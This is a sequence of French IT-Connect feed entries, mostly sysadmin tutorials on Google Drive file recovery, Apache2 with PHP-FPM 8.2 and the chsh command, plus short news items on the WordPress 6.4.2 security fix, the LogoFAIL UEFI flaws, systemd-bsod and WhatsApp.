<figure class="wp-block-image size-full"><img fetchpriority="high" decoding="async" width="789" height="479" src="media/cdb12240.Google-Drive-Restaurer-les-fichiers-disparus-decembre-2023.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Google-Drive-Restaurer-les-fichiers-disparus-decembre-2023.jpg" alt="Google Drive - Restaurer les fichiers disparus décembre 2023" class="wp-image-73193" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Google-Drive-Restaurer-les-fichiers-disparus-decembre-2023.jpg 789w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Google-Drive-Restaurer-les-fichiers-disparus-decembre-2023-550x334.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Google-Drive-Restaurer-les-fichiers-disparus-decembre-2023-150x91.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Google-Drive-Restaurer-les-fichiers-disparus-decembre-2023-768x466.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/Google-Drive-Restaurer-les-fichiers-disparus-decembre-2023-50x30.jpg 50w" sizes="(max-width: 789px) 100vw, 789px" /></figure>



<p>Ceci va permettre de <strong>démarrer le processus de récupération de vos données</strong>, sauf si aucune <a class="wpil_keyword_link" href="https://www.it-connect.fr/cours-tutoriels/administration-systemes/autres/sauvegarde/" target="_blank" rel="noopener" title="sauvegarde" data-wpil-keyword-link="linked">sauvegarde</a> n'a été trouvée. Le client Google Drive vous notifiera dans tous les cas. Les données restaurées seront stockées dans un dossier nommé "<strong>Google Drive Recovery</strong>" présent sur le Bureau de la session (ce qui peut être problématique s'il y a beaucoup de données et peu d'espace disque disponible sur la machine).</p>



<h2 class="wp-block-heading">Deuxième méthode : en ligne de commande</h2>



<p>Toujours sur le même principe, téléchargez et installez la dernière version de Google Drive. Ensuite, fermez Google Drive sur votre PC :  cliquez sur <strong>l'icône Google Drive</strong> présent dans la zone d'accès rapide de Windows (en bas à droite), puis <strong>cliquez sur l'icône en forme de roue crantée</strong> afin de choisir "<strong>Quitter</strong>".</p>



<p>Ensuite, ouvrez une Invite de commandes sur votre PC Windows et exécutez la commande suivante :</p>



<pre class="wp-block-code"><code>"C:\Program Files\Google\Drive File Stream\launch.bat" --recover_from_account_backups</code></pre>



<p>Ceci va déclencher<strong> la récupération des données en arrière-plan</strong>. "<em>L'exécution est terminée lorsque GoogleDriveFS.exe n'est plus en cours d'exécution dans le Gestionnaire des tâches.</em>", précise Google. </p>



<p>Les données restaurées seront stockées dans un dossier nommé "<strong>Google Drive Recovery</strong>" présent sur le Bureau de la session. Si vous avez besoin de stocker les données restaurées vers<strong> un autre volume</strong>, vous devez utiliser une option supplémentaire nommée "<strong>--recover_output_path</strong>" :</p>



<pre class="wp-block-code"><code>"C:\Program Files\Google\Drive File Stream\launch.bat" --recover_from_account_backups --recover_output_path "D:\chemin\vers\la\cible"</code></pre>



<p>Sous Windows, des journaux seront générés à l'emplacement suivant :</p>



<pre class="wp-block-code"><code>%USERPROFILE%\AppData\Local\Google\DriveFS\Logs</code></pre>



<p>Tout est expliqué pour <a href="https://support.google.com/drive/answer/14286582#zippy=%2Crecover-files-from-backup-from-the-drive-for-desktop-app%2Cadvanced-recover-files-from-backup-using-the-command-line-interface%2Cadditional-troubleshooting-options-for-data-recovery" target="_blank" rel="noopener nofollow" title="">cette page</a>, aussi bien pour Windows que pour macOS.</p>



<p><strong>Bon courage !</strong></p><p>The post <a href="https://www.it-connect.fr/perte-de-donnees-google-drive-voici-comment-recuperer-vos-donnees/">Perte de données Google Drive : voici comment récupérer vos données !</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=69922
title: Comment configurer Apache2 avec PHP-FPM 8.2 pour exécuter les scripts PHP ?
uri: Comment-configurer-Apache2-avec-PHP-FPM-8-2-pour-exécuter-les-scripts
url:
https://www.it-connect.fr/comment-configurer-apache2-avec-php-fpm-8-2-pour-executer-les-scripts-php/

content:
<h2 class="wp-block-heading">I. Présentation</h2>



<p><strong>Dans ce tutoriel, nous allons apprendre à installer PHP-FPM 8.2 sur un serveur Web Apache2 sous Debian 12. Avant cela, nous verrons pourquoi il faut préférer PHP-FPM plutôt que le module PHP pour Apache.</strong></p>



<p><strong>PHP-FPM </strong>pour <em>PHP <strong>F</strong>astCGI <strong>P</strong>rocess <strong>M</strong>anager </em>fonctionne différemment du module PHP pour Apache2. En fait, PHP-FPM va créer des processus distincts de deux du serveur Web, c'est-à-dire que la liste des processus contiendra des processus PHP-FPM et des processus Apache2. A l'inverse, lorsque PHP est exécuté en tant que module <a class="wpil_keyword_link" href="https://www.it-connect.fr/cours-tutoriels/administration-systemes/serveur-web/apache/" target="_blank" rel="noopener" title="Apache" data-wpil-keyword-link="linked">Apache</a>, chaque processus Apache exécute son propre moteur de scripts PHP. </p>



<p>Pour optimiser les ressources, <strong>il est recommandé d'utiliser PHP-FPM</strong> plutôt que le module pour Apache connu sous le nom de "<strong>libapache2-mod-php</strong>". Avec PHP-FPM, vous pourrez <strong>gérer plus de connexions simultanées tout en utilisant moins de ressources</strong>. Intéressant, non ?</p>



<blockquote class="wp-block-quote">
<p>Remarque : sur un serveur existant, vous pouvez tout à fait passer de mod_php à PHP-FPM. Nous pouvons même dire que c'est recommandé !</p>
</blockquote>



<h2 class="wp-block-heading">II. Installation de PHP-FPM 8.2 sur Debian 12</h2>



<p>Pour la suite de ce tutoriel, une machine sous Debian 12 sur laquelle le paquet Apache2 a été installé sera utilisée. Tout d'abord, nous devons <strong>installer le paquet PHP8.2-FPM</strong>, afin d'utiliser<strong> PHP 8.2</strong>. Ce qui donne :</p>



<pre class="wp-block-code"><code>sudo apt-get update
sudo apt-get install php8.2-fpm</code></pre>



<p>Ensuite, nous devons activer deux modules dans Apache2 ainsi qu'un fichier de configuration :</p>



<pre class="wp-block-code"><code>sudo a2enmod proxy_fcgi setenvif 
sudo a2enconf php8.2-fpm 
sudo systemctl reload apache2</code></pre>



<p>Voilà, PHP-FPM pour PHP 8.2 est installé et activé sur le serveur.</p>



<h2 class="wp-block-heading">III. Intégrer PHP-FPM à Apache</h2>



<p>Pour qu'Apache sollicite PHP-FPM pour l'exécution des scripts PHP, vous devez <strong>configurer chaque VirtualHost</strong> en conséquence. En fait, vous devez indiquer dans votre VirtualHost que pour <strong>tous les fichiers ".php"</strong>, il faut <strong>solliciter PHP8.2-FPM en local</strong>.</p>



<p>Vous devez éditer le fichier de votre VirtualHost, par exemple :</p>



<pre class="wp-block-code"><code>sudo nano /etc/apache2/sites-available/support.it-connect.tech.conf</code></pre>



<p>Puis, ajoutez ce bloc de 3 lignes à l'intérieur des balises &lt;VirtualHost&gt;, comme ceci :</p>



<pre class="wp-block-code"><code>&lt;FilesMatch \.php$&gt;
    SetHandler "proxy:unix:/run/php/php8.2-fpm.sock|fcgi://localhost/"
&lt;/FilesMatch&gt;</code></pre>



<p>Vous pouvez intégrer ces lignes à l'identique, si ce n'est qu'il faudra adapter en fonction de la version de PHP-FPM que vous utilisez. Ici, c'est bien "<strong>php8.2-fpm</strong>" qui est spécifié.</p>



<figure class="wp-block-image size-full"><img fetchpriority="high" decoding="async" width="800" height="412" src="media/e18bbad9.Apache2-et-PHP-FPM-Exemple.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/10/Apache2-et-PHP-FPM-Exemple.png" alt="" class="wp-image-69303" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/10/Apache2-et-PHP-FPM-Exemple.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/10/Apache2-et-PHP-FPM-Exemple-550x283.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/10/Apache2-et-PHP-FPM-Exemple-150x77.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/10/Apache2-et-PHP-FPM-Exemple-768x396.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/10/Apache2-et-PHP-FPM-Exemple-50x26.png 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>Enregistrez et redémarrez Apache pour prendre en compte les changements :</p>



<pre class="wp-block-code"><code>sudo systemctl restart apache2</code></pre>



<p>En principe, la commande ci-dessous doit vous retourner la valeur "<strong>mpm_prefork_module (shared)</strong>".</p>



<pre class="wp-block-code"><code>sudo apachectl -M | grep 'mpm'</code></pre>



<h2 class="wp-block-heading">IV. Comment configurer PHP-FPM ?</h2>



<p>Ceux qui ont l'habitude d'utiliser mod_php ont également l'habitude de modifier le fichier "<strong>/etc/php/8.2/apache2/php.ini</strong>" pour configurer PHP. Oubliez ce fichier ! Désormais, vous devez éditer le fichier suivant :</p>



<pre class="wp-block-code"><code>sudo nano /etc/php/8.2/fpm/php.ini</code></pre>



<p>A l'intérieur, vous retrouvez toutes les directives pour configurer PHP : <strong>memory_limit, upload_max_filesize, max_file_uploads, session.cookie_httponly, etc...</strong></p>



<p>Il vous suffit d'effectuer votre configuration et d'enregistrer le fichier.</p>



<pre class="wp-block-code"><code>; Whether or not to add the httpOnly flag to the cookie, which makes it
; inaccessible to browser scripting languages such as JavaScript.
; https://php.net/session.cookie-httponly
session.cookie_httponly = on</code></pre>



<p>Ensuite, pour appliquer les modifications, nous n'allons pas redémarrer Apache2 ! C'est bien le service PHP-FPM qu'il faut redémarrer :</p>



<pre class="wp-block-code"><code>sudo systemctl restart php8.2-fpm.service</code></pre>



<h2 class="wp-block-heading">V. Conclusion</h2>



<p><strong>Après avoir appliqué cette configuration, votre serveur Web Apache2 exécute les scripts PHP à l'aide de PHP-FPM !</strong> Si vous exécutez la commande "top" sur votre machine, vous devriez voir des processus "apache2" et des processus "php-fpm8.2".</p>


<div class="wp-block-image">
<figure class="aligncenter size-full"><img decoding="async" width="800" height="259" src="media/c4ad2bfd.Linux-Debian-Processus-Apache2-PHP-FPM.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/10/Linux-Debian-Processus-Apache2-PHP-FPM.png" alt="Linux Debian - Processus Apache2 PHP-FPM" class="wp-image-70149" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/10/Linux-Debian-Processus-Apache2-PHP-FPM.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/10/Linux-Debian-Processus-Apache2-PHP-FPM-550x178.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/10/Linux-Debian-Processus-Apache2-PHP-FPM-150x49.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/10/Linux-Debian-Processus-Apache2-PHP-FPM-768x249.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/10/Linux-Debian-Processus-Apache2-PHP-FPM-50x16.png 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure></div><p>The post <a href="https://www.it-connect.fr/comment-configurer-apache2-avec-php-fpm-8-2-pour-executer-les-scripts-php/">Comment configurer Apache2 avec PHP-FPM 8.2 pour exécuter les scripts PHP ?</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=73241
title: WordPress 6.4.2 vous protège de cette vulnérabilité facilitant l’exécution de code PHP !
uri: 2023-12-08-
url:
https://www.it-connect.fr/wordpress-6-4-2-vous-protege-de-cette-vulnerabilite-facilitant-lexecution-de-code-php/

content:
<p><strong>Vous utilisez WordPress ? Vous devez passer à la version 6.4.2 dès que possible afin de vous protéger d'une faille de sécurité pouvant permettre l'exécution de code PHP sur un site vulnérable. Faisons le point sur cette menace.</strong></p>



<p>Actuellement utilisé par plus de 800 millions de sites Web, le CMS WordPress est très populaire ! Alors, forcément, quand il est affecté par une faille de sécurité importante, il faut s'y intéresser de près.</p>



<ul>
<li><a href="https://www.it-connect.fr/installation-de-wordpress-sous-linux/" target="_blank" rel="noopener" title="Comment installer WordPress facilement sur un serveur Apache ?">Comment installer WordPress sur un serveur Web ?</a></li>
</ul>



<p>D'ailleurs, sur<a href="https://wordpress.org/documentation/wordpress-version/version-6-4-2/" target="_blank" rel="noopener nofollow" title=""> la page </a>du site WordPress où sont présentés les changements apportés dans cette version, voici ce que nous pouvons lire au sujet de cette faille de sécurité qui vient d'être patchée : "<em>Une vulnérabilité d'exécution de code à distance qui n'est pas directement exploitable dans le noyau ; cependant, l'équipe de sécurité estime qu'il y a un potentiel de gravité élevé lorsqu'elle est combinée avec certains plugins, en particulier dans les installations multisites.</em>"</p>



<p>Pour qu'une attaque soit réalisable, <strong>cette vulnérabilité "PHP POP" (<em>Property Oriented Programming</em>) doit être exploitée conjointement à une autre vulnérabilité</strong>. Ceci créerait une chaine d'exploitation permettant à l'attaquant d'<strong>exécuter du code PHP arbitraire sur le serveur Web</strong>. La vulnérabilité présente dans WordPress n'est pas critique, mais ce qui l'a rend dangereuse, c'est le fait qu'elle permette une exécution de code au travers d'autres extensions ou thèmes.</p>



<p>Par ailleurs, la <a href="https://patchstack.com/articles/wordpress-core-6-4-2-security-release/" target="_blank" rel="noopener nofollow" title="">plateforme Patchstack </a>précise qu'une chaine d'exploitation pour cette faille de sécurité a été publiée<a href="https://github.com/ambionics/phpggc/blob/master/gadgetchains/WordPress/RCE/2/chain.php" target="_blank" rel="noopener nofollow" title=""> sur GitHub</a> il y a plusieurs semaines, et qu'elle a ensuite été introduite à l'outil PHPGGC.</p>



<h2 class="wp-block-heading">Comment se protéger ?</h2>



<p><strong>Vous connaissez la réponse : pour vous protéger, vous l'aurez compris, vous devez mettre à jour WordPress pour passer sur WordPress 6.4.2 !</strong> </p>



<p>Toutefois, il convient de préciser que si vous utilisez <strong>une version inférieure à WordPress 6.4</strong>, vous n'êtes pas affecté. En effet, cette vulnérabilité a été introduite dans le <em>core </em>de WordPress 6.4 au sein de la classe "<strong>WP_HTML_Token</strong>" permettant d'améliorer le <em>parsing </em>HTML dans l'éditeur de blocs.</p>



<p>Par ailleurs, <strong>cette nouvelle version corrige 7 bugs importants</strong> non liés à la sécurité de WordPress. </p>



<p><a href="https://www.bleepingcomputer.com/news/security/wordpress-fixes-pop-chain-exposing-websites-to-rce-attacks/" target="_blank" rel="noopener nofollow" title="">Source</a></p><p>The post <a href="https://www.it-connect.fr/wordpress-6-4-2-vous-protege-de-cette-vulnerabilite-facilitant-lexecution-de-code-php/">WordPress 6.4.2 vous protège de cette vulnérabilité facilitant l’exécution de code PHP !</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=73246
title: LogoFAIL : un simple logo peut infecter l’UEFI de votre machine Windows ou Linux
uri: LogoFAIL-un-simple-logo-peut-infecter-l-UEFI-de-votre-machine-Wind
url:
https://www.it-connect.fr/logofail-un-simple-logo-peut-infecter-luefi-de-votre-machine-windows-ou-linux/

content:
<p><strong>Baptisée LogoFAIL par les chercheurs en sécurité de Binarly, cet ensemble de vulnérabilités dans l'UEFI affecte le matériel de pratiquement tous les fabricants où une puce x86 ou ARM est utilisée. L'exploitation de LogoFAIL permet le déploiement d'un bootkit via la bibliothèque d'images du firmware. Faisons le point sur cette menace potentielle.</strong></p>



<p>À l'occasion de la conférence BlackHat Europe 2023 qui s'est déroulée à Londres, les chercheurs en sécurité de Binarly ont levé le voile sur LogoFAIL, une technique d'attaque qui repose sur un ensemble de vulnérabilités présentes dans les bibliothèques d'analyse d'images utilisées par les fournisseurs pour <strong>afficher les logos pendant le processus de démarrage de la machine.</strong> De ce fait, <strong>des centaines de modèles d'ordinateurs</strong>, aussi bien sous<strong> Windows que Linux</strong>, sont vulnérables à cette technique d'attaque qui affecte, une nouvelle fois, <strong>l'UEFI</strong>.</p>



<p>Cette attaque consiste à déployer un bootkit, un logiciel malveillant qui affecte le processus de démarrage de la machine et qui est difficile à détecter et à éliminer. D'ailleurs, en début d'année 2023, le bootkit BlackLotus avait fait parler de lui, car il parvenait à outrepasser le Secure Boot de Windows. Si l'on prend l'exemple de LogoFAIL, la technique permet de rendre inefficace<strong>s des mécanismes de protection comme l'Intel Boot Guard.</strong></p>



<h2 class="wp-block-heading">Comment exploiter LogoFAIL ?</h2>



<p>Pour exploiter l'ensemble de vulnérabilités LogoFAIL, il est nécessaire d'<strong>altérer le contenu de la bibliothèque d'images du firmware</strong>. Autrement dit, l'attaquant doit disposer d'<strong>une image de logo malveillante qui va remplacer l'image officielle chargée au démarrage de votre ordinateur</strong>, que ce soit le logo Samsung, le logo <a class="wpil_keyword_link" href="https://www.it-connect.fr/cours-tutoriels/administration-reseau/hp/" target="_blank" rel="noopener" title="HP" data-wpil-keyword-link="linked">HP</a>, le logo Acer ou encore celui de Dell. </p>



<p><strong>Cette image spécialement conçue aura pour objectif de déployer la charge utile sur la machine ciblée.</strong> Ceci permettra à l'attaquant d'<strong>exécuter du code malveillant</strong> sur la machine, car il a un <strong>accès total au disque et à la mémoire </strong>de l'ordinateur (y compris sur le système d'exploitation en ligne).</p>



<p>L'attaque peut être déployée grâce à un accès physique à la machine, mais également à distance dans un scénario de post-exploitation, après la compromission initiale de la machine.</p>



<p>Désormais, les fabricants ont connaissance des vulnérabilités mises en évidence par LogoFAIL et ils vont <strong>déployer des mises à jour de sécurité pour le firmware des ordinateurs</strong>. Vous savez ce qu'il vous reste à faire....</p>



<p>Retrouvez les slides de la présentation de la conférence BlackHat Europe 2023 sur <a href="https://www.blackhat.com/eu-23/briefings/schedule/index.html#logofail-security-implications-of-image-parsing-during-system-boot-35042" target="_blank" rel="noopener nofollow" title="">cette page</a>. Voici également une vidéo de démonstration :</p>



<iframe class="iframe_youtube" src="https://www.youtube.com/embed/EufeOPe6eqk" title="Finding LogoFAIL: The Dangers of Image Parsing During System Boot" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" allowfullscreen></iframe>



<p><a href="https://arstechnica.com/security/2023/12/just-about-every-windows-and-linux-device-vulnerable-to-new-logofail-firmware-attack/" target="_blank" rel="noopener nofollow" title="">Source</a></p><p>The post <a href="https://www.it-connect.fr/logofail-un-simple-logo-peut-infecter-luefi-de-votre-machine-windows-ou-linux/">LogoFAIL : un simple logo peut infecter l’UEFI de votre machine Windows ou Linux</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=73280
title: Arrêtez tout ! L’écran bleu de la mort arrive sur Linux !
uri: Arrêtez-tout-L-écran-bleu-de-la-mort-arrive-sur-Linux
url: https://www.it-connect.fr/arretez-tout-lecran-bleu-de-la-mort-arrive-sur-linux/
content:
<p><strong>Depuis très longtemps, les fameux écrans de la mort sont associés au système d'exploitation Windows et sont synonymes d'un plantage pur et simple du système. Désormais, Linux aussi va avoir le droit aux écrans bleus de la mort : dites merci à systemd.</strong></p>



<p>Toutes les personnes qui utilisent Windows ont rencontré au moins une fois dans leur vie l'écran bleu de la mort (ou <em>Blue screen of death</em>, BSOD, en anglais) ! Quand le système d'exploitation rencontre une erreur fatale, le BSOD est susceptible de s'afficher et de vous indiquer un message d'erreur plus ou moins utile, plus ou moins exhaustif.</p>



<p>Sachez que <strong><a class="wpil_keyword_link" href="https://www.it-connect.fr/cours-tutoriels/administration-systemes/linux/" target="_blank" rel="noopener" title="Linux" data-wpil-keyword-link="linked">Linux</a> </strong>va également être capable de générer des écrans bleus de la mort grâce à <strong>systemd version 255</strong>. Pour rappel, systemd est le gestionnaire de services utilisés par une grande majorité de distributions Linux (Debian, Fedora, Ubuntu, etc.). </p>



<p>En effet, comme le montre ce <em>commit</em> sur le <a href="https://github.com/systemd/systemd/commit/fc7eb1325bd297634568528fb934698a68855121" target="_blank" rel="noopener nofollow" title="">GitHub officiel de systemd</a>, il y a bien<strong> un nouveau composant BSOD</strong> en cours d'expérimentation : <strong>systemd-bsod</strong>. L'objectif sera d'indiquer un message d'erreur à l'écran afin de donner un minimum d'information sur l'erreur rencontrée. En complément, et comme sur les dernières versions de Windows, <strong>il affichera un QR code </strong>qui permettra à l'utilisateur d'en savoir plus simplement en le scannant avec son téléphone.</p>



<p>Linux a la réputation de fournir des logs et messages d'erreurs généralement explicites : les utilisateurs s'attendront à ce que l'écran bleu de la mort soit dans cette lignée. Dans tous les cas, en principe, l'écran bleu de la mort est là pour orienter les recherches de l'utilisateur et faciliter le dépannage.</p>



<p>Pour en savoir plus sur tous les changements apportés au sein de systemd v255, consultez le changelog officiel disponible sur <a href="https://github.com/systemd/systemd/releases/tag/v255" target="_blank" rel="noopener nofollow" title="">cette page</a>. <strong>Cette version de systemd </strong>devrait faire son apparition dans de nombreuses distributions au cours du<strong> premier semestre 2024</strong>.</p>



<p><strong>Qu'en pensez-vous ?</strong></p>



<p><a href="https://news.itsfoss.com/bsod-linux/" target="_blank" rel="noopener nofollow" title="">Source</a></p><p>The post <a href="https://www.it-connect.fr/arretez-tout-lecran-bleu-de-la-mort-arrive-sur-linux/">Arrêtez tout ! L’écran bleu de la mort arrive sur Linux !</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=70220
title: Linux : comment changer son shell par défaut avec la commande chsh ?
uri: Linux-comment-changer-son-shell-par-défaut-avec-la-commande-chsh
url: https://www.it-connect.fr/tuto-linux-comment-modifier-shell-par-defaut-avec-chsh/
content:
<h2 class="wp-block-heading">I. Présentation</h2>



<p><strong>Dans ce tutoriel, nous allons apprendre à changer le shell par défaut de notre utilisateur ou d'un autre utilisateur à l'aide de la commande chsh. </strong>Ceci peut s'avérer utile si vous souhaitez <strong>passer de <a href="https://www.it-connect.fr/passer-de-bash-a-zsh/" target="_blank" rel="noopener" title="Passer de Bash à Zsh">Bash à Zsh</a></strong>, ou peut-être même de <strong>Bash à PowerShell</strong> ! <img src="media/3fc8b120.1f642.png" data-original-source="https://s.w.org/images/core/emoji/14.0.0/72x72/1f642.png" alt="🙂" class="wp-smiley" style="height: 1em; max-height: 1em;" /></p>



<p>Enfin, <strong>Bash n'est pas forcément le shell par défaut </strong>! Si l'on prend l'exemple de <a class="wpil_keyword_link" href="https://www.it-connect.fr/cours/debuter-avec-kali-linux/" target="_blank" rel="noopener" title="Kali Linux" data-wpil-keyword-link="linked">Kali Linux</a>, le shell par défaut est "zsh" depuis la version 2020.4.</p>



<p>D'ailleurs, cette démonstration est réalisée sous Kali Linux, mais vous pouvez utiliser une autre distribution (Debian, Ubuntu, RHEL, etc.). Vous devez disposer des droits "root" (via sudo, par exemple) pour changer le shell d'un autre utilisateur.</p>



<p><em>Pour rappel, le shell est un interpréteur de commande.</em></p>



<h2 class="wp-block-heading">II. Quels sont les shells disponibles sur ma machine Linux ?</h2>



<p>Avant de vouloir changer de shell pour remplacer <a class="wpil_keyword_link" href="https://www.it-connect.fr/cours-tutoriels/administration-systemes/scripting/bash/" target="_blank" rel="noopener" title="Bash" data-wpil-keyword-link="linked">Bash</a> par autre chose, il faudrait déjà savoir quels sont les shells actuellement disponible sur la machine locale !</p>



<pre class="wp-block-code"><code>cat /etc/shells</code></pre>



<p>Voici un exemple :</p>


<div class="wp-block-image">
<figure class="aligncenter size-full"><img fetchpriority="high" decoding="async" width="646" height="339" src="media/549734d3.Linux-Liste-des-shells-disponibles.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/10/Linux-Liste-des-shells-disponibles.png" alt="Linux - Liste des shells disponibles" class="wp-image-70223" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/10/Linux-Liste-des-shells-disponibles.png 646w, https://www.it-connect.fr/wp-content-itc/uploads/2023/10/Linux-Liste-des-shells-disponibles-550x289.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/10/Linux-Liste-des-shells-disponibles-150x79.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/10/Linux-Liste-des-shells-disponibles-50x26.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2023/10/Linux-Liste-des-shells-disponibles-390x205.png 390w" sizes="(max-width: 646px) 100vw, 646px" /></figure></div>


<h2 class="wp-block-heading">III. Comment changer mon shell par défaut ?</h2>



<p>Maintenant que l'on sait quels sont les shells disponibles, nous allons pouvoir choisir un nouveau shell par défaut. Pour cela, exécutez simplement la commande "<a href="https://man7.org/linux/man-pages/man1/chsh.1.html" target="_blank" rel="noopener nofollow" title="">chsh</a>" comme ceci :</p>



<pre class="wp-block-code"><code>chsh</code></pre>



<p>Il ne vous reste plus qu'à<strong> préciser le nom du nouveau shell</strong> via son chemin (référez-vous à la sortie de la commande précédente) puis validez avec Entrée.</p>


<div class="wp-block-image">
<figure class="aligncenter size-full"><img decoding="async" width="800" height="57" src="media/c4260d76.Changer-le-shell-par-defaut-avec-chsh.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/10/Changer-le-shell-par-defaut-avec-chsh.png" alt="Changer le shell par défaut avec chsh" class="wp-image-70225" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/10/Changer-le-shell-par-defaut-avec-chsh.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/10/Changer-le-shell-par-defaut-avec-chsh-550x39.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/10/Changer-le-shell-par-defaut-avec-chsh-150x11.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/10/Changer-le-shell-par-defaut-avec-chsh-768x55.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/10/Changer-le-shell-par-defaut-avec-chsh-50x4.png 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure></div>


<p>Vous pouvez aussi utiliser directement cette syntaxe :</p>



<pre class="wp-block-code"><code>chsh -s /bin/bash</code></pre>



<p>Dans l'exemple ci-dessus, on définit Bash comme shell par défaut.</p>



<p>Ensuite, vous devez redémarrer la machine ou fermer/rouvrir la session pour appliquer le changement. Vous pouvez obtenir le nom de votre shell actuel via cette commande :</p>



<pre class="wp-block-code"><code>ps -p $$</code></pre>



<p>Mais, finalement, cette information est visible dans le fichier suivant :</p>



<pre class="wp-block-code"><code>/etc/passwd</code></pre>



<p>Ainsi, vous avez l'information pour chaque utilisateur :</p>


<div class="wp-block-image">
<figure class="aligncenter size-full"><img decoding="async" width="800" height="114" src="media/ae875fc6.Voir-le-shell-par-defaut-dun-utilisateur-Linux.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/10/Voir-le-shell-par-defaut-dun-utilisateur-Linux.png" alt="Voir le shell par défaut d'un utilisateur Linux" class="wp-image-70224" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/10/Voir-le-shell-par-defaut-dun-utilisateur-Linux.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/10/Voir-le-shell-par-defaut-dun-utilisateur-Linux-550x78.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/10/Voir-le-shell-par-defaut-dun-utilisateur-Linux-150x21.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/10/Voir-le-shell-par-defaut-dun-utilisateur-Linux-768x109.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/10/Voir-le-shell-par-defaut-dun-utilisateur-Linux-50x7.png 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure></div>


<h2 class="wp-block-heading">IV. Modifier le shell par défaut d'un autre utilisateur</h2>



<p>Nous avons vu comment changer le shell par défaut de l'utilisateur actif avec lequel nous sommes connectés. Mais, comment effectuer cette modification sur un autre utilisateur ? Pour cette partie, vous avez besoin des droits d'administration sur le serveur : les commandes seront à préfixer avec <em>sudo</em>.</p>



<p>Voici la syntaxe à respecter :</p>



<pre class="wp-block-code"><code>sudo chsh -s &lt;chemin vers le shell> &lt;identifiant utilisateur></code></pre>



<p>Par exemple, pour définir "<strong><a class="wpil_keyword_link" href="https://www.it-connect.fr/cours-tutoriels/administration-systemes/scripting/powershell/" target="_blank" rel="noopener" title="PowerShell" data-wpil-keyword-link="linked">PowerShell</a></strong>" comme <em>shell </em>par défaut pour "<strong>florian</strong>", on exécutera cette commande :</p>



<pre class="wp-block-code"><code>sudo chsh -s /bin/pwsh florian</code></pre>



<p>Libre à vous d'adapter cet exemple en fonction de vos besoins ! Vous pouvez revenir en arrière à tout moment en indiquant la valeur correspondant à votre précédent shell par défaut.</p>



<h2 class="wp-block-heading">V. Conclusion</h2>



<p><strong>Simple et efficace, la commande chsh permet de changer le shell par défaut sur une machine Linux !</strong> Elle permet d'effectuer la modification proprement dans la configuration du système.</p><p>The post <a href="https://www.it-connect.fr/tuto-linux-comment-modifier-shell-par-defaut-avec-chsh/">Linux : comment changer son shell par défaut avec la commande chsh ?</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=73276
title: Nouveauté WhatsApp : les messages vocaux à lecture unique !
uri: Nouveauté-WhatsApp-les-messages-vocaux-à-lecture-unique
url: https://www.it-connect.fr/nouveaute-whatsapp-les-messages-vocaux-a-lecture-unique/
content:
<p><strong>WhatsApp continue de s'étoffer avec de nouvelles fonctionnalités ! Cette fois-ci, ce sont les messages vocaux qui bénéficient d'une évolution : les utilisateurs vont pouvoir créer des messages vocaux à lecture unique !</strong></p>



<p>Dans le but d'améliorer la sécurité de l'application et la confidentialité des utilisateurs, Meta ajoute régulièrement de nouvelles fonctionnalités à son application WhatsApp. Dernièrement, WhatsApp a rendu disponible pour tout le monde une fonctionnalité pour <strong>verrouiller et masquer des conversations dans le but de les protéger</strong>.</p>



<ul>
<li><a href="https://www.it-connect.fr/comment-cacher-discussion-whatsapp-option-verrouillage/" target="_blank" rel="noopener" title="Comment cacher une discussion WhatsApp grâce à l’option de verrouillage ?">WhatsApp : comment cacher et verrouiller une discussion ?</a></li>
</ul>



